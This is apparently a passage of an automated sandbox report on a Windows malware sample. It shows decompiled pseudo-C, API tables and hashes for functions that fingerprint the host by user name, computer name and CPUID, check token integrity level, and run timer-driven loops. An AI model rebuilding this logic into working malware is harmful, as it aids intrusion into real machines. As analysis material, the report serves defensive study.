						if(_a8 != 0) {
							L4:
							 *0x355d24c = 5;
						} else {
							_t68 = E035573FD(_t73); // executed
							if(_t68 != 0) {
								goto L4;
							}
						}
						_v12 = 0;
						L6:
						L6:
						if(_v12 == 1 && ( *0x355d260 & 0x00000001) == 0) {
							_v12 = 2;
						}
						_t71 = _v12;
						_t58 = _t71 << 4;
						_t76 = _t80 + (_t71 << 4) - 0x54;
						_t72 = _t71 + 1;
						_v24 = _t71 + 1;
						_t60 = E03558504(_t72, _t72, _t80 + _t58 - 0x58, _t76,  &_v20,  &_v16); // executed
						_v8.LowPart = _t60;
						if(_t60 != 0) {
							goto L17;
						}
						_t65 = _v24;
						_t90 = _t65 - 3;
						_v12 = _t65;
						if(_t65 != 3) {
							goto L6;
						} else {
							_v8.LowPart = E03553BF1(_t72, _t90,  &_v92, _a4, _a8);
						}
						goto L12;
						L17:
						__eflags = _t60 - 0x10d2;
						if(_t60 != 0x10d2) {
							_push(0xffffffff);
							_push(0xff676980);
							_push(0);
							_push( *0x355d244);
							goto L21;
						} else {
							__eflags =  *0x355d248; // 0x0
							if(__eflags == 0) {
								goto L12;
							} else {
								_t60 = E0355A1B0();
								_push(0xffffffff);
								_push(0xdc3cba00);
								_push(0);
								_push( *0x355d248);
								L21:
								L0355B0C8();
								_v36.LowPart = _t60;
								_v32 = _t76;
								SetWaitableTimer(_v44,  &_v36, 0, 0, 0, 0); // executed
								_t64 = WaitForMultipleObjects(2,  &_v44, 0, 0xffffffff);
								__eflags = _t64;
								_v8.LowPart = _t64;
								if(_t64 == 0) {
									goto L6;
								} else {
									goto L12;
								}
							}
						}
						L25:
					}
					L12:
					_t78 =  &_v92;
					_t70 = 3;
					do {
						_t54 =  *_t78;
						if(_t54 != 0) {
							HeapFree( *0x355d238, 0, _t54);
						}
						_t78 =  &(_t78[4]);
						_t70 = _t70 - 1;
					} while (_t70 != 0);
					CloseHandle(_v44);
				}
				return _v8;
				goto L25;
			}

0x03556786
0x03556798
0x0355679b
0x035567a7
0x035567af
0x035567b2
0x03556919
0x035567b8
0x035567b8
0x035567ba
0x035567bf
0x035567c0
0x035567c6
0x035567c9
0x035567cc
0x035567da
0x035567e5
0x035567e8
0x035567ea
0x035567f7
0x03556801
0x03556805
0x03556808
0x0355680d
0x03556818
0x03556818
0x0355680f
0x0355680f
0x03556816
0x00000000
0x00000000
0x03556816
0x03556822
0x00000000
0x03556825
0x03556829
0x03556834
0x03556834
0x0355683b
0x03556844
0x0355684b
0x03556854
0x03556857
0x0355685a
0x03556861
0x03556864
0x00000000
0x00000000
0x03556866
0x03556869
0x0355686c
0x0355686f
0x00000000
0x03556871
0x03556880
0x03556880
0x00000000
0x035568ae
0x035568ae
0x035568b3
0x035568d2
0x035568d4
0x035568d9
0x035568da
0x00000000
0x035568b5
0x035568b5
0x035568bb
0x00000000
0x035568bd
0x035568bd
0x035568c2
0x035568c4
0x035568c9
0x035568ca
0x035568e0
0x035568e0
0x035568e8
0x035568f3
0x035568f6
0x03556901
0x03556903
0x03556905
0x03556908
0x00000000
0x0355690e
0x00000000
0x0355690e
0x03556908
0x035568bb
0x00000000
0x035568b3
0x03556883
0x03556885
0x03556888
0x03556889
0x03556889
0x0355688d
0x03556897
0x03556897
0x0355689d
0x035568a0
0x035568a0
0x035568a6
0x035568a6
0x03556923
0x00000000

APIs

memset.NTDLL ref: 0355679B
CreateWaitableTimerA.KERNEL32(00000000,00000001,00000000), ref: 035567A7
_allmul.NTDLL(00000000,FF676980,000000FF), ref: 035567CC
SetWaitableTimer.KERNELBASE(?,?,00000000,00000000,00000000,00000000), ref: 035567E8
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 03556801
HeapFree.KERNEL32(00000000,00000000), ref: 03556897
CloseHandle.KERNEL32(?), ref: 035568A6
_allmul.NTDLL(00000000,FF676980,000000FF,00000002), ref: 035568E0
SetWaitableTimer.KERNELBASE(?,?,00000000,00000000,00000000,00000000,00000000,FF676980,000000FF,00000002,?,?,03552417,?), ref: 035568F6
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 03556901

Part of subcall function 035573FD: StrToIntExW.SHLWAPI(?,00000000,?,?,004F0053,059A9388,00000000,?,7519F710,00000000,7519F730), ref: 0355744C
Part of subcall function 035573FD: HeapFree.KERNEL32(00000000,00000000,?,80000001,00000000,00680043,059A93C0,?,00000000,30314549,00000014,004F0053,059A937C), ref: 035574E9
Part of subcall function 035573FD: HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,03556814), ref: 035574FB

GetLastError.KERNEL32 ref: 03556913

Memory Dump Source

Source File: 00000003.00000002.499257511.0000000003551000.00000020.00000001.sdmp, Offset: 03550000, based on PE: true

Associated: 00000003.00000002.499242705.0000000003550000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499318420.000000000355C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.499336543.000000000355D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499367631.000000000355F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeapTimerWaitable$MultipleObjectsWait_allmul$CloseCreateErrorHandleLastmemset
String ID:
API String ID: 3521023985-0
Opcode ID: d61590fbdd87c9976d5706dc220074997ce716a6848e30eb648e6c934f1c48ee
Instruction ID: 8ef2cf65582bd82a80d01fdd21b3de4182a6c659afa69b3f9a5266f48efe998c
Opcode Fuzzy Hash: d61590fbdd87c9976d5706dc220074997ce716a6848e30eb648e6c934f1c48ee
Instruction Fuzzy Hash: 86514972801269AADF10EFD4EC54DEEBFF8FF49320F244616F810A61A4D770A645DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 03551B2F, Relevance: 13.6, APIs: 9, Instructions: 72
filetimeCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E03551B2F(intOrPtr __edx, void** _a4, void** _a8) {
				intOrPtr _v8;
				struct _FILETIME* _v12;
				short _v56;
				struct _FILETIME* _t12;
				intOrPtr _t13;
				void* _t17;
				void* _t21;
				intOrPtr _t27;
				long _t28;
				void* _t30;

				_t27 = __edx;
				_t12 =  &_v12;
				GetSystemTimeAsFileTime(_t12);
				_push(0x192);
				_push(0x54d38000);
				_push(_v8);
				_push(_v12);
				L0355B0C2();
				_push(_t12);
				_v12 = _t12;
				_t13 =  *0x355d27c; // 0x244a5a8
				_t5 = _t13 + 0x355e862; // 0x59a8e0a
				_t6 = _t13 + 0x355e59c; // 0x530025
				_push(0x16);
				_push( &_v56);
				_v8 = _t27;
				L0355AD5A();
				_t17 = CreateFileMappingW(0xffffffff, 0x355d2a8, 4, 0, 0x1000,  &_v56); // executed
				_t30 = _t17;
				if(_t30 == 0) {
					_t28 = GetLastError();
				} else {
					if(GetLastError() == 0xb7) {
						_t21 = MapViewOfFile(_t30, 6, 0, 0, 0); // executed
						if(_t21 == 0) {
							_t28 = GetLastError();
							if(_t28 != 0) {
								goto L6;
							}
						} else {
							 *_a4 = _t30;
							 *_a8 = _t21;
							_t28 = 0;
						}
					} else {
						_t28 = 2;
						L6:
						CloseHandle(_t30);
					}
				}
				return _t28;
			}

0x03551b2f
0x03551b37
0x03551b3b
0x03551b41
0x03551b46
0x03551b4b
0x03551b4e
0x03551b51
0x03551b56
0x03551b57
0x03551b5a
0x03551b5f
0x03551b66
0x03551b70
0x03551b72
0x03551b73
0x03551b76
0x03551b92
0x03551b98
0x03551b9c
0x03551bea
0x03551b9e
0x03551bab
0x03551bbb
0x03551bc3
0x03551bd5
0x03551bd9
0x00000000
0x00000000
0x03551bc5
0x03551bc8
0x03551bcd
0x03551bcf
0x03551bcf
0x03551bad
0x03551baf
0x03551bdb
0x03551bdc
0x03551bdc
0x03551bab
0x03551bf1

APIs

GetSystemTimeAsFileTime.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,035522EA,?,?,4D283A53,?,?), ref: 03551B3B
_aulldiv.NTDLL(?,?,54D38000,00000192), ref: 03551B51
_snwprintf.NTDLL ref: 03551B76
CreateFileMappingW.KERNELBASE(000000FF,0355D2A8,00000004,00000000,00001000,?), ref: 03551B92
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,035522EA,?,?,4D283A53), ref: 03551BA4
MapViewOfFile.KERNELBASE(00000000,00000006,00000000,00000000,00000000), ref: 03551BBB
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,035522EA,?,?), ref: 03551BDC
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,035522EA,?,?,4D283A53), ref: 03551BE4

Memory Dump Source

Source File: 00000003.00000002.499257511.0000000003551000.00000020.00000001.sdmp, Offset: 03550000, based on PE: true

Associated: 00000003.00000002.499242705.0000000003550000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499318420.000000000355C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.499336543.000000000355D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499367631.000000000355F000.00000002.00000001.sdmp Download File

Similarity

API ID: File$ErrorLastTime$CloseCreateHandleMappingSystemView_aulldiv_snwprintf
String ID:
API String ID: 1814172918-0
Opcode ID: b419a8f6cc77eed55c5440945c35f66dddf4745fba46cdd53e4401edb02f883e
Instruction ID: b275dcd450c1e79f6d56fe39b5f4f7c9acc11a15e32df683000eabe38974e3bf
Opcode Fuzzy Hash: b419a8f6cc77eed55c5440945c35f66dddf4745fba46cdd53e4401edb02f883e
Instruction Fuzzy Hash: DB21D877600304BBCB11EBA4EC25F8E7BB9BB44750F154252F905E71B0E670B605CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0355269C, Relevance: 12.1, APIs: 8, Instructions: 102
memoryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E0355269C(char __eax, signed int* __esi) {
				long _v8;
				char _v12;
				signed int _v16;
				signed int _v20;
				signed int _v28;
				long _t34;
				signed int _t39;
				long _t50;
				char _t59;
				intOrPtr _t61;
				void* _t62;
				void* _t63;
				signed int* _t64;
				char _t65;
				intOrPtr* _t67;
				void* _t68;
				signed int* _t69;

				_t69 = __esi;
				_t65 = __eax;
				_v8 = 0;
				_v12 = __eax;
				if(__eax == 0) {
					_t59 =  *0x355d270; // 0xd448b889
					_v12 = _t59;
				}
				_t64 = _t69;
				E03556B43( &_v12, _t64);
				if(_t65 != 0) {
					 *_t69 =  *_t69 ^  *0x355d278 ^ 0x4c0ca0ae;
				} else {
					GetUserNameW(0,  &_v8); // executed
					_t50 = _v8;
					if(_t50 != 0) {
						_t62 = RtlAllocateHeap( *0x355d238, 0, _t50 + _t50);
						if(_t62 != 0) {
							if(GetUserNameW(_t62,  &_v8) != 0) {
								_t63 = _t62;
								 *_t69 =  *_t69 ^ E03552496(_v8 + _v8, _t63);
							}
							HeapFree( *0x355d238, 0, _t62);
						}
					}
				}
				_t61 = __imp__;
				_v8 = _v8 & 0x00000000;
				GetComputerNameW(0,  &_v8);
				_t34 = _v8;
				if(_t34 != 0) {
					_t68 = RtlAllocateHeap( *0x355d238, 0, _t34 + _t34);
					if(_t68 != 0) {
						if(GetComputerNameW(_t68,  &_v8) != 0) {
							_t63 = _t68;
							_t69[3] = _t69[3] ^ E03552496(_v8 + _v8, _t63);
						}
						HeapFree( *0x355d238, 0, _t68);
					}
				}
				asm("cpuid");
				_t67 =  &_v28;
				 *_t67 = 1;
				 *((intOrPtr*)(_t67 + 4)) = _t61;
				 *(_t67 + 8) = _t63;
				 *(_t67 + 0xc) = _t64;
				_t39 = _v16 ^ _v20 ^ _v28;
				_t69[1] = _t69[1] ^ _t39;
				return _t39;
			}

0x0355269c
0x035526a4
0x035526aa
0x035526ad
0x035526b0
0x035526b2
0x035526b7
0x035526b7
0x035526bd
0x035526bf
0x035526cc
0x0355272d
0x035526ce
0x035526d3
0x035526d9
0x035526de
0x035526ec
0x035526f0
0x035526ff
0x03552706
0x0355270d
0x0355270d
0x03552718
0x03552718
0x035526f0
0x035526de
0x0355272f
0x03552735
0x0355273f
0x03552741
0x03552746
0x03552755
0x03552759
0x03552764
0x0355276b
0x03552772
0x03552772
0x0355277e
0x0355277e
0x03552759
0x03552787
0x03552789
0x0355278c
0x0355278e
0x03552791
0x03552794
0x0355279e
0x035527a2
0x035527a6

APIs

GetUserNameW.ADVAPI32(00000000,?), ref: 035526D3
RtlAllocateHeap.NTDLL(00000000,?), ref: 035526EA
GetUserNameW.ADVAPI32(00000000,?), ref: 035526F7
HeapFree.KERNEL32(00000000,00000000,?,?,?,?,035523D9), ref: 03552718
GetComputerNameW.KERNEL32(00000000,00000000), ref: 0355273F
RtlAllocateHeap.NTDLL(00000000,00000000), ref: 03552753
GetComputerNameW.KERNEL32(00000000,00000000), ref: 03552760
HeapFree.KERNEL32(00000000,00000000,?,?,?,?,035523D9), ref: 0355277E

Memory Dump Source

Source File: 00000003.00000002.499257511.0000000003551000.00000020.00000001.sdmp, Offset: 03550000, based on PE: true

Associated: 00000003.00000002.499242705.0000000003550000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499318420.000000000355C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.499336543.000000000355D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499367631.000000000355F000.00000002.00000001.sdmp Download File

Similarity

API ID: HeapName$AllocateComputerFreeUser
String ID:
API String ID: 3239747167-0
Opcode ID: bb3224d2ad16761e789ddd4eec4e1bb35c66902dda125e22afbcc7a1776fa842
Instruction ID: cfe2b6ee2794ea85df43a29dadbf2b6d9124f3310ec2aebdd0e700c7a84fa7b0
Opcode Fuzzy Hash: bb3224d2ad16761e789ddd4eec4e1bb35c66902dda125e22afbcc7a1776fa842
Instruction Fuzzy Hash: 34310A76610305EFDB11EFA5D8A0E6EF7F9FB44210F14446AE805D7224E730F9459B11

Uniqueness

Uniqueness Score: -1.00%

Function 0355924F, Relevance: 10.6, APIs: 7, Instructions: 75
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0355924F(long* _a4) {
				long _v8;
				void* _v12;
				void _v16;
				long _v20;
				int _t33;
				void* _t46;

				_v16 = 1;
				_v20 = 0x2000;
				if( *0x355d25c > 5) {
					_v16 = 0;
					if(OpenProcessToken(0xffffffff, 0x20008,  &_v12) != 0) {
						GetTokenInformation(_v12, 0x14,  &_v16, 4,  &_v8); // executed
						_v8 = 0;
						GetTokenInformation(_v12, 0x19, 0, 0,  &_v8); // executed
						if(_v8 != 0) {
							_t46 = E03552049(_v8);
							if(_t46 != 0) {
								_t33 = GetTokenInformation(_v12, 0x19, _t46, _v8,  &_v8); // executed
								if(_t33 != 0) {
									_v20 =  *(GetSidSubAuthority( *_t46,  *(GetSidSubAuthorityCount( *_t46)) - 0x00000001 & 0x000000ff));
								}
								E03559039(_t46);
							}
						}
						CloseHandle(_v12);
					}
				}
				 *_a4 = _v20;
				return _v16;
			}

0x0355925c
0x03559263
0x0355926a
0x0355927e
0x03559289
0x035592a1
0x035592ae
0x035592b1
0x035592b6
0x035592c1
0x035592c5
0x035592d4
0x035592d8
0x035592f4
0x035592f4
0x035592f8
0x035592f8
0x035592fd
0x03559301
0x03559307
0x03559308
0x0355930f
0x03559315

APIs

OpenProcessToken.ADVAPI32(000000FF,00020008,00000000,00000000), ref: 03559281
GetTokenInformation.KERNELBASE(00000000,00000014(TokenIntegrityLevel),00000001,00000004,?,00000000), ref: 035592A1
GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,00000000,?), ref: 035592B1
CloseHandle.KERNEL32(00000000), ref: 03559301

Part of subcall function 03552049: RtlAllocateHeap.NTDLL(00000000,00000000,03557E50), ref: 03552055

GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,?,?,?,?), ref: 035592D4
GetSidSubAuthorityCount.ADVAPI32(00000000), ref: 035592DC
GetSidSubAuthority.ADVAPI32(00000000,?), ref: 035592EC

Memory Dump Source

Source File: 00000003.00000002.499257511.0000000003551000.00000020.00000001.sdmp, Offset: 03550000, based on PE: true

Associated: 00000003.00000002.499242705.0000000003550000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499318420.000000000355C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.499336543.000000000355D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499367631.000000000355F000.00000002.00000001.sdmp Download File

Similarity

API ID: Token$Information$Authority$AllocateCloseCountHandleHeapOpenProcess
String ID:
API String ID: 1295030180-0
Opcode ID: 2d4b54d41d3187157a441e29524fa43bd7b2d15983dd2225c156180474dd5d13
Instruction ID: d4223aff739b3142fe9a92acc83c9ae428bc430bcdc19837522701c7453d19ce
Opcode Fuzzy Hash: 2d4b54d41d3187157a441e29524fa43bd7b2d15983dd2225c156180474dd5d13
Instruction Fuzzy Hash: CC212A76900219FFEB01EF94DC94DAEBBB9FB44304F040066F910A61B0D775AA45EB60

Uniqueness

Uniqueness Score: -1.00%

Function 0355163F, Relevance: 9.2, APIs: 6, Instructions: 152memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 03551680
IUnknown_QueryInterface_Proxy.RPCRT4(00000008,332C4425,?), ref: 03551702
StrStrIW.SHLWAPI(?,006E0069), ref: 03551741
SysFreeString.OLEAUT32(?), ref: 03551763

Part of subcall function 035552F9: SysAllocString.OLEAUT32(0355C2B0), ref: 03555349

SafeArrayDestroy.OLEAUT32(?), ref: 035517B7
SysFreeString.OLEAUT32(?), ref: 035517C5

Part of subcall function 03552436: Sleep.KERNELBASE(000001F4), ref: 0355247E

Memory Dump Source

Source File: 00000003.00000002.499257511.0000000003551000.00000020.00000001.sdmp, Offset: 03550000, based on PE: true

Associated: 00000003.00000002.499242705.0000000003550000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499318420.000000000355C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.499336543.000000000355D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499367631.000000000355F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$AllocFree$ArrayDestroyInterface_ProxyQuerySafeSleepUnknown_
String ID:
API String ID: 2118684380-0
Opcode ID: f7af7cac130be534e88b70645fa5a1b9fb1efccbaf1c94192df7b93210f65b46
Instruction ID: 264203c324b41e734219701427423f3607ec18609b5c7a4f6ce8baeb0d7c374a
Opcode Fuzzy Hash: f7af7cac130be534e88b70645fa5a1b9fb1efccbaf1c94192df7b93210f65b46
Instruction Fuzzy Hash: 5F51147691060AEFCF10DFA8D89499EB7B6FF88340B188969F905DB220D731BE45CB50

Uniqueness

Uniqueness Score: -1.00%

Function 03556A56, Relevance: 9.1, APIs: 6, Instructions: 60
sleepmemorytimeCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E03556A56(void* __ecx, void* __edx, intOrPtr _a4) {
				struct _FILETIME _v12;
				void* _t10;
				void* _t12;
				int _t14;
				signed int _t16;
				void* _t18;
				signed int _t19;
				unsigned int _t23;
				void* _t26;
				signed int _t33;

				_t26 = __edx;
				_push(__ecx);
				_push(__ecx);
				_t10 = HeapCreate(0, 0x400000, 0); // executed
				 *0x355d238 = _t10;
				if(_t10 != 0) {
					 *0x355d1a8 = GetTickCount();
					_t12 = E03558F10(_a4);
					if(_t12 == 0) {
						do {
							GetSystemTimeAsFileTime( &_v12);
							_t14 = SwitchToThread();
							_t23 = _v12.dwHighDateTime;
							_t16 = (_t23 << 0x00000020 | _v12.dwLowDateTime) >> 7;
							_push(0);
							_push(9);
							_push(_t23 >> 7);
							_push(_t16);
							L0355B226();
							_t33 = _t14 + _t16;
							_t18 = E03557E03(_a4, _t33);
							_t19 = 2;
							_t25 = _t33;
							Sleep(_t19 << _t33); // executed
						} while (_t18 == 1);
						if(E03556B96(_t25) != 0) {
							 *0x355d260 = 1; // executed
						}
						_t12 = E0355225B(_t26); // executed
					}
				} else {
					_t12 = 8;
				}
				return _t12;
			}

0x03556a56
0x03556a5c
0x03556a5d
0x03556a69
0x03556a71
0x03556a76
0x03556a86
0x03556a8b
0x03556a92
0x03556a94
0x03556a99
0x03556a9f
0x03556aa5
0x03556aaf
0x03556ab3
0x03556ab5
0x03556aba
0x03556abb
0x03556abc
0x03556ac1
0x03556ac7
0x03556ad0
0x03556ad1
0x03556ad6
0x03556adc
0x03556ae8
0x03556aea
0x03556aea
0x03556af4
0x03556af4
0x03556a78
0x03556a7a
0x03556a7a
0x03556afe

APIs

HeapCreate.KERNELBASE(00000000,00400000,00000000,?,00000001,?,?,?,0355807D,?), ref: 03556A69
GetTickCount.KERNEL32 ref: 03556A7D
GetSystemTimeAsFileTime.KERNEL32(?,?,?,00000001,?,?,?,0355807D,?), ref: 03556A99
SwitchToThread.KERNEL32(?,00000001,?,?,?,0355807D,?), ref: 03556A9F
_aullrem.NTDLL(?,?,00000009,00000000), ref: 03556ABC
Sleep.KERNELBASE(00000002,00000000,?,00000001,?,?,?,0355807D,?), ref: 03556AD6

Memory Dump Source

Source File: 00000003.00000002.499257511.0000000003551000.00000020.00000001.sdmp, Offset: 03550000, based on PE: true

Associated: 00000003.00000002.499242705.0000000003550000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499318420.000000000355C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.499336543.000000000355D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499367631.000000000355F000.00000002.00000001.sdmp Download File

Similarity

API ID: Time$CountCreateFileHeapSleepSwitchSystemThreadTick_aullrem
String ID:
API String ID: 507476733-0
Opcode ID: da233ea3468f52acdc2d1e8af0caba46f0cf81db499abaf67acf38c7a093f99b
Instruction ID: d686282f8e37e99279ec706d6aba8bcc121dd0740fc9eb64cd7d48b91f12e304
Opcode Fuzzy Hash: da233ea3468f52acdc2d1e8af0caba46f0cf81db499abaf67acf38c7a093f99b
Instruction Fuzzy Hash: FD117077740301ABE720EBB4EC29F5E7AE8EB84750F14452AFD05CA1B0EAB0B4459662

Uniqueness

Uniqueness Score: -1.00%

Function 0355225B, Relevance: 7.7, APIs: 5, Instructions: 159
memoryCOMMON

Download Yara Rule

C-Code - Quality: 57%

			E0355225B(signed int __edx) {
				signed int _v8;
				long _v12;
				CHAR* _v16;
				long _v20;
				void* __edi;
				void* __esi;
				void* _t21;
				CHAR* _t22;
				CHAR* _t25;
				intOrPtr _t26;
				void* _t27;
				void* _t31;
				void* _t32;
				CHAR* _t36;
				CHAR* _t42;
				CHAR* _t43;
				CHAR* _t44;
				CHAR* _t46;
				void* _t49;
				void* _t51;
				CHAR* _t54;
				signed char _t56;
				intOrPtr _t58;
				signed int _t59;
				void* _t62;
				CHAR* _t65;
				CHAR* _t66;
				char* _t67;
				void* _t68;

				_t61 = __edx;
				_v20 = 0;
				_v8 = 0;
				_v12 = 0;
				_t21 = E0355550E();
				if(_t21 != 0) {
					_t59 =  *0x355d25c; // 0x4000000a
					_t55 = (_t59 & 0xf0000000) + _t21;
					 *0x355d25c = (_t59 & 0xf0000000) + _t21;
				}
				_t22 =  *0x355d164(0, 2);
				_v16 = _t22;
				if(_t22 == 0 || _t22 == 1 || _t22 == 0x80010106) {
					_t25 = E03553D0D( &_v8,  &_v20); // executed
					_t54 = _t25;
					_t26 =  *0x355d27c; // 0x244a5a8
					if( *0x355d25c > 5) {
						_t8 = _t26 + 0x355e5cd; // 0x4d283a53
						_t27 = _t8;
					} else {
						_t7 = _t26 + 0x355ea15; // 0x44283a44
						_t27 = _t7;
					}
					E03551BF4(_t27, _t27);
					_t31 = E03551B2F(_t61,  &_v20,  &_v12); // executed
					if(_t31 == 0) {
						CloseHandle(_v20);
					}
					_t62 = 5;
					if(_t54 != _t62) {
						 *0x355d270 =  *0x355d270 ^ 0x81bbe65d;
						_t32 = E03552049(0x60);
						__eflags = _t32;
						 *0x355d32c = _t32;
						if(_t32 == 0) {
							_push(8);
							_pop(0);
						} else {
							memset(_t32, 0, 0x60);
							_t49 =  *0x355d32c; // 0x59a95b0
							_t68 = _t68 + 0xc;
							__imp__(_t49 + 0x40);
							_t51 =  *0x355d32c; // 0x59a95b0
							 *_t51 = 0x355e836;
						}
						__eflags = 0;
						_t54 = 0;
						if(0 == 0) {
							_t36 = RtlAllocateHeap( *0x355d238, 0, 0x43);
							__eflags = _t36;
							 *0x355d2c4 = _t36;
							if(_t36 == 0) {
								_push(8);
								_pop(0);
							} else {
								_t56 =  *0x355d25c; // 0x4000000a
								_t61 = _t56 & 0x000000ff;
								_t58 =  *0x355d27c; // 0x244a5a8
								_t13 = _t58 + 0x355e55a; // 0x697a6f4d
								_t55 = _t13;
								wsprintfA(_t36, _t13, _t56 & 0x000000ff, _t56 & 0x000000ff, 0x355c2a7);
							}
							__eflags = 0;
							_t54 = 0;
							if(0 == 0) {
								asm("sbb eax, eax");
								E0355269C( ~_v8 &  *0x355d270, 0x355d00c); // executed
								_t42 = E03554094(_t55); // executed
								_t54 = _t42;
								__eflags = _t54;
								if(_t54 != 0) {
									goto L30;
								}
								_t43 = E035596A4(_t55); // executed
								__eflags = _t43;
								if(_t43 != 0) {
									__eflags = _v8;
									_t65 = _v12;
									if(_v8 != 0) {
										L29:
										_t44 = E03556786(_t61, _t65, _v8); // executed
										_t54 = _t44;
										goto L30;
									}
									__eflags = _t65;
									if(__eflags == 0) {
										goto L30;
									}
									_t46 = E03553DD9(__eflags,  &(_t65[4])); // executed
									_t54 = _t46;
									__eflags = _t54;
									if(_t54 == 0) {
										goto L30;
									}
									goto L29;
								}
								_t54 = 8;
							}
						}
					} else {
						_t66 = _v12;
						if(_t66 == 0) {
							L30:
							if(_v16 == 0 || _v16 == 1) {
								 *0x355d160();
							}
							goto L34;
						}
						_t67 =  &(_t66[4]);
						do {
						} while (E0355A501(_t62, _t67, 0, 1) == 0x4c7);
					}
					goto L30;
				} else {
					_t54 = _t22;
					L34:
					return _t54;
				}
			}

0x0355225b
0x03552266
0x03552269
0x0355226c
0x0355226f
0x03552276
0x03552278
0x03552284
0x03552286
0x03552286
0x0355228f
0x03552297
0x0355229a
0x035522b4
0x035522c0
0x035522c2
0x035522c7
0x035522d1
0x035522d1
0x035522c9
0x035522c9
0x035522c9
0x035522c9
0x035522d8
0x035522e5
0x035522ec
0x035522f1
0x035522f1
0x035522f9
0x035522fc
0x03552322
0x0355232e
0x03552333
0x03552335
0x0355233a
0x03552366
0x03552368
0x0355233c
0x03552340
0x03552345
0x0355234a
0x03552351
0x03552357
0x0355235c
0x03552362
0x03552369
0x0355236b
0x0355236d
0x0355237c
0x03552382
0x03552384
0x03552389
0x035523b9
0x035523bb
0x0355238b
0x0355238b
0x03552391
0x0355239e
0x035523a4
0x035523a4
0x035523ac
0x035523b5
0x035523bc
0x035523be
0x035523c0
0x035523c7
0x035523d4
0x035523d9
0x035523de
0x035523e0
0x035523e2
0x00000000
0x00000000
0x035523e4
0x035523e9
0x035523eb
0x035523f2
0x035523f6
0x035523f9
0x0355240e
0x03552412
0x03552417
0x00000000
0x03552417
0x035523fb
0x035523fd
0x00000000
0x00000000
0x03552403
0x03552408
0x0355240a
0x0355240c
0x00000000
0x00000000
0x00000000
0x0355240c
0x035523ef
0x035523ef
0x035523c0
0x035522fe
0x035522fe
0x03552303
0x03552419
0x0355241d
0x03552425
0x03552425
0x00000000
0x0355241d
0x03552309
0x0355230c
0x03552316
0x0355231d
0x00000000
0x0355242d
0x0355242d
0x03552431
0x03552435
0x03552435

APIs

Part of subcall function 0355550E: GetModuleHandleA.KERNEL32(4C44544E,00000000,03552274,00000000,00000000), ref: 0355551D

CloseHandle.KERNEL32(?,?,?,4D283A53,?,?), ref: 035522F1

Part of subcall function 03552049: RtlAllocateHeap.NTDLL(00000000,00000000,03557E50), ref: 03552055

memset.NTDLL ref: 03552340
RtlInitializeCriticalSection.NTDLL(059A9570), ref: 03552351

Part of subcall function 03553DD9: memset.NTDLL ref: 03553DEE
Part of subcall function 03553DD9: lstrlenW.KERNEL32(00000000,00410025,00000005,?,00000000), ref: 03553E22
Part of subcall function 03553DD9: StrCmpNIW.KERNELBASE(00000000,00000000,00000000), ref: 03553E2D

RtlAllocateHeap.NTDLL(00000000,00000043,00000060), ref: 0355237C
wsprintfA.USER32 ref: 035523AC

Memory Dump Source

Source File: 00000003.00000002.499257511.0000000003551000.00000020.00000001.sdmp, Offset: 03550000, based on PE: true

Associated: 00000003.00000002.499242705.0000000003550000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499318420.000000000355C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.499336543.000000000355D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499367631.000000000355F000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateHandleHeapmemset$CloseCriticalInitializeModuleSectionlstrlenwsprintf
String ID:
API String ID: 4246211962-0
Opcode ID: c29941fc19bcd410fb83fca74621a57b2a5a2c3bb8c6d5fdecd61fa0462ede1f
Instruction ID: e6c9b42fb97a96eb7a4f89ed13fe88916124faaae283fb4c02b37ce10557515c
Opcode Fuzzy Hash: c29941fc19bcd410fb83fca74621a57b2a5a2c3bb8c6d5fdecd61fa0462ede1f
Instruction Fuzzy Hash: B451A076A00315EBCB21EBA5F8B4E6E77F8BB44600F084867F905DB170E774B9499B50

Uniqueness

Uniqueness Score: -1.00%

Function 03553AEF, Relevance: 6.1, APIs: 4, Instructions: 98memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(80000002), ref: 03553B46
SysAllocString.OLEAUT32(03551885), ref: 03553B89
SysFreeString.OLEAUT32(00000000), ref: 03553B9D
SysFreeString.OLEAUT32(00000000), ref: 03553BAB

Memory Dump Source

Source File: 00000003.00000002.499257511.0000000003551000.00000020.00000001.sdmp, Offset: 03550000, based on PE: true

Associated: 00000003.00000002.499242705.0000000003550000.00000004.00000001.sdmp Download File
